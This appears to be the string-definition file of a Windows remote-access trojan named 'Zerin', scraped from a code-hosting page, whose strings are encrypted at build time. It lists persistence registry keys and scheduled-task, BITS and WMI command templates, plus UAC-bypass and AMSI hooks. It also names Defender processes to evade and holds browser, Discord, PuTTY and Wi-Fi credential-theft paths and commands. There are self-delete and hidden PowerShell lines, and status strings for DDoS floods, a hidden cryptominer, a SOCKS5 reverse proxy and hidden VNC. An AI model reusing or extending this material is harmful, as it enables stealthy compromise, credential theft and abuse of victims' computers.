156 lines
10 KiB
Modula-2
Executable File
156 lines
10 KiB
Modula-2
Executable File
# Obfuscated string definitions — one ID, "string" per line
|
|
# Lines starting with # are comments. Blank lines are ignored.
|
|
# Generated code uses ChaCha20 encryption with a random key per build.
|
|
|
|
OBF_ZERIN_UPDATE, "ZerinUpdate"
|
|
OBF_ZERIN_SVC, "ZerinSvc"
|
|
OBF_ZERIN_MAINTENANCE, "ZerinMaintenance"
|
|
OBF_ZERIN_TRANSFER, "ZerinTransfer"
|
|
OBF_ZERIN_WMI, "ZerinWMI"
|
|
OBF_ZERIN_PORT, "ZerinPort"
|
|
OBF_ZERIN_UPDATE_EXE, "ZerinUpdate.exe"
|
|
OBF_ZERIN_EXE, "zerin.exe"
|
|
OBF_RUN_KEY_PATH, "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
OBF_SESSION_KEY_PATH, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SessionInfo"
|
|
OBF_ENVIRONMENT, "Environment"
|
|
OBF_DESKTOP_PATH, "Control Panel\\Desktop"
|
|
OBF_SCRNSAVE, "SCRNSAVE.EXE"
|
|
OBF_LOGON_SCRIPT, "UserInitMprLogonScript"
|
|
OBF_MAINTENANCE_VAL, "Maintenance"
|
|
OBF_SETHC_IFEO, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"
|
|
OBF_PRINT_MONITORS, "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors"
|
|
OBF_LSA_PATH, "SYSTEM\\CurrentControlSet\\Control\\Lsa"
|
|
OBF_SECURITY_PACKAGES, "Security Packages"
|
|
OBF_COM_CLSID_PATH, "Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feab6b5}\\InProcServer32"
|
|
OBF_SHM_NAME, "Local\\ZerinRkShm"
|
|
OBF_EVT_NAME, "Local\\ZerinRkEvt"
|
|
OBF_SERVICES_PATH, "SYSTEM\\CurrentControlSet\\Services"
|
|
OBF_DEBUGGER, "Debugger"
|
|
OBF_DRIVER, "Driver"
|
|
OBF_THREADING_MODEL, "ThreadingModel"
|
|
OBF_SCREEN_SAVE_ACTIVE, "ScreenSaveActive"
|
|
OBF_SCREEN_SAVE_TIMEOUT, "ScreenSaveTimeOut"
|
|
OBF_ZERIN_DISPLAY, "Zerin Maintenance Service"
|
|
OBF_CMD_EXE, "cmd.exe"
|
|
OBF_NTDLL, "ntdll.dll"
|
|
OBF_KERNEL32, "kernel32.dll"
|
|
OBF_ADVAPI32, "advapi32.dll"
|
|
OBF_WINHTTP, "winhttp.dll"
|
|
OBF_POWERSHELL, "powershell.exe"
|
|
OBF_PERSIST_MUTEX, "Local\\ZerinPersistMtx"
|
|
OBF_MS_SETTINGS_CMD, "Software\\Classes\\ms-settings\\shell\\open\\command"
|
|
OBF_DELEGATE_EXECUTE, "DelegateExecute"
|
|
OBF_NETAPI32, "netapi32.dll"
|
|
OBF_AMSI, "amsi.dll"
|
|
|
|
# ── AV / Defender process names ──────────────────────────────────────
|
|
OBF_MSMPENG, "MsMpEng.exe"
|
|
OBF_MPCMDRUN, "MpCmdRun.exe"
|
|
OBF_MSSENSE, "MsSense.exe"
|
|
OBF_SECHEALTH, "SecurityHealthService.exe"
|
|
OBF_SGRMBROKER, "SgrmBroker.exe"
|
|
|
|
# ── Browser credential paths ────────────────────────────────────────
|
|
OBF_CHROME_USERDATA, "Google\\Chrome\\User Data"
|
|
OBF_EDGE_USERDATA, "Microsoft\\Edge\\User Data"
|
|
OBF_BRAVE_USERDATA, "BraveSoftware\\Brave-Browser\\User Data"
|
|
OBF_OPERA_USERDATA, "Opera Software\\Opera Stable"
|
|
OBF_VIVALDI_USERDATA, "Vivaldi\\User Data"
|
|
OBF_FIREFOX_REG, "SOFTWARE\\Mozilla\\Mozilla Firefox"
|
|
OBF_FIREFOX_REGMAIN, "SOFTWARE\\Mozilla\\Mozilla Firefox\\%s\\Main"
|
|
OBF_FIREFOX_X64, "C:\\Program Files\\Mozilla Firefox"
|
|
OBF_FIREFOX_X86, "C:\\Program Files (x86)\\Mozilla Firefox"
|
|
|
|
# ── DLL names ────────────────────────────────────────────────────────
|
|
OBF_VERSION_DLL, "version.dll"
|
|
OBF_DXGI_DLL, "dxgi.dll"
|
|
OBF_D3D11_DLL, "d3d11.dll"
|
|
OBF_RSTRTMGR_DLL, "rstrtmgr.dll"
|
|
|
|
# ── Command strings ─────────────────────────────────────────────────
|
|
OBF_WMIC_AV, "cmd.exe /c wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName /format:list"
|
|
OBF_NETSH_PROFILES, "netsh wlan show profiles"
|
|
OBF_NETSH_PROFILE_KEY, "netsh wlan show profile name=\"%s\" key=clear"
|
|
OBF_IPCONFIG_FLUSH, "cmd.exe /c ipconfig /flushdns"
|
|
OBF_SELF_DELETE, "cmd.exe /c ping 127.0.0.1 -n 3 > nul & del /f /q \"%s\""
|
|
|
|
# ── Registry paths ───────────────────────────────────────────────────
|
|
OBF_REG_CRYPTOGRAPHY, "SOFTWARE\\Microsoft\\Cryptography"
|
|
OBF_REG_PUTTY, "SOFTWARE\\SimonTatham\\PuTTY\\Sessions"
|
|
OBF_REG_CPU, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"
|
|
|
|
# ── System paths ─────────────────────────────────────────────────────
|
|
OBF_NTDLL_PATH, "C:\\Windows\\System32\\ntdll.dll"
|
|
OBF_HOSTS_PATH, "C:\\Windows\\System32\\drivers\\etc\\hosts"
|
|
OBF_SETHC_EXE, "sethc.exe"
|
|
OBF_FODHELPER_EXE, "fodhelper.exe"
|
|
|
|
# ── Branding / class names ───────────────────────────────────────────
|
|
OBF_CLIPMON_CLASS, "ZerinClipMon"
|
|
OBF_BLACK_CLASS, "ZerinBlack"
|
|
OBF_WEBCAM_CLASS, "ZerinWebcam"
|
|
|
|
# ── Discord paths ────────────────────────────────────────────────────
|
|
OBF_DISCORD_LDB, "discord\\Local Storage\\leveldb"
|
|
OBF_DISCORD_CANARY_LDB, "discordcanary\\Local Storage\\leveldb"
|
|
OBF_DISCORD_PTB_LDB, "discordptb\\Local Storage\\leveldb"
|
|
|
|
# ── Browser exe paths (for VNC) ──────────────────────────────────────
|
|
OBF_BRAVE_EXE_PATH, "BraveSoftware\\Brave-Browser\\Application\\brave.exe"
|
|
OBF_CHROME_EXE_PATH, "Google\\Chrome\\Application\\chrome.exe"
|
|
OBF_EDGE_EXE_PATH, "Microsoft\\Edge\\Application\\msedge.exe"
|
|
OBF_FIREFOX_EXE_PATH, "Mozilla Firefox\\firefox.exe"
|
|
|
|
# ── PowerShell / persistence command templates ──────────────────────
|
|
OBF_PS_PREFIX, "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "
|
|
OBF_PS_HIDDEN_PREFIX, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "
|
|
OBF_SCHTASKS_FMT, "schtasks /Create /TN \"%s\" /TR \"\\\"%s\\\"\" /SC MINUTE /MO %s /F"
|
|
OBF_BITS_CHAIN_FMT, "cmd.exe /c bitsadmin /create \"%s\" && bitsadmin /addfile \"%s\" \"https://localhost/noexist\" \"%%TEMP%%\\zerin_bits.tmp\" && bitsadmin /SetNotifyCmdLine \"%s\" \"%s\" NUL && bitsadmin /SetMinRetryDelay \"%s\" 60 && bitsadmin /SetNoProgressTimeout \"%s\" 2592000 && bitsadmin /resume \"%s\""
|
|
OBF_WMI_PS_FMT, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \""
|
|
|
|
# ── AMSI / injection ───────────────────────────────────────────────
|
|
OBF_AMSI_OPEN_SESSION, "AmsiOpenSession"
|
|
OBF_REFLECTIVE_DLL_MAIN, "ReflectiveDllMain"
|
|
|
|
# ── Elevation moniker ─────────────────────────────────────────────
|
|
OBF_ELEVATION_MONIKER, "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
|
|
|
|
# ── DDoS status strings ───────────────────────────────────────────
|
|
OBF_DDOS_STARTED_FMT, "DDoS flood started: %s %s | %d threads | %d seconds"
|
|
OBF_DDOS_ALREADY, "DDoS flood already running. Stop it first."
|
|
OBF_DDOS_STOPPED_FMT, "DDoS flood stopped. Duration: %lus | Requests: %ld | Errors: %ld | Avg: %.0f req/s"
|
|
OBF_DDOS_NOT_RUNNING, "No DDoS flood is running"
|
|
|
|
# ── Miner status strings ──────────────────────────────────────────
|
|
OBF_MINER_STARTED_FMT, "Miner started (PID %lu) | Pool: %s | CPU: %d%% | API port: %d"
|
|
OBF_MINER_ALREADY, "Miner already running. Stop it first."
|
|
OBF_MINER_STOPPED_FMT, "Miner stopped (PID %lu)"
|
|
OBF_MINER_NOT_RUNNING, "No miner is running"
|
|
OBF_MINER_DIR, "Microsoft\\Runtime"
|
|
OBF_MINER_EXE, "svcruntime.exe"
|
|
|
|
# ── SOCKS5 status strings ─────────────────────────────────────────
|
|
OBF_SOCKS5_STARTED, "SOCKS5 reverse proxy started"
|
|
OBF_SOCKS5_STOPPED, "SOCKS5 reverse proxy stopped"
|
|
OBF_SOCKS5_NOT_RUNNING, "SOCKS5 was not running"
|
|
|
|
# ── UAC cleanup paths ─────────────────────────────────────────────
|
|
OBF_MS_SETTINGS_OPEN, "Software\\Classes\\ms-settings\\shell\\open"
|
|
OBF_MS_SETTINGS_SHELL, "Software\\Classes\\ms-settings\\shell"
|
|
OBF_MS_SETTINGS_ROOT, "Software\\Classes\\ms-settings"
|
|
|
|
# ── hVNC / VNC status strings ──────────────────────────────────────
|
|
OBF_HVNC_STARTED, "hVNC streaming started (hidden desktop created)"
|
|
OBF_HVNC_STOPPED, "hVNC stopped (hidden desktop destroyed)"
|
|
OBF_HVNC_NOT_RUNNING, "hVNC was not running"
|
|
OBF_HVNC_NOT_ACTIVE, "hVNC session is not active"
|
|
|
|
# ── Persistence cleanup (uninstall) ───────────────────────────────
|
|
OBF_SCHTASKS_DELETE_FMT, "schtasks /Delete /TN \"%s\" /F"
|
|
OBF_BITSADMIN_CANCEL_FMT, "bitsadmin /cancel \"%s\""
|
|
OBF_PS_WMIDELETE_FMT, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject; Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject\""
|
|
|
|
# ── PowerShell encoded command formats ─────────────────────────────
|
|
OBF_PS_ENCODED_HIDDEN, "powershell -NoProfile -WindowStyle Hidden -EncodedCommand %s"
|
|
OBF_PS_ENCODED, "powershell -NoProfile -EncodedCommand %s"
|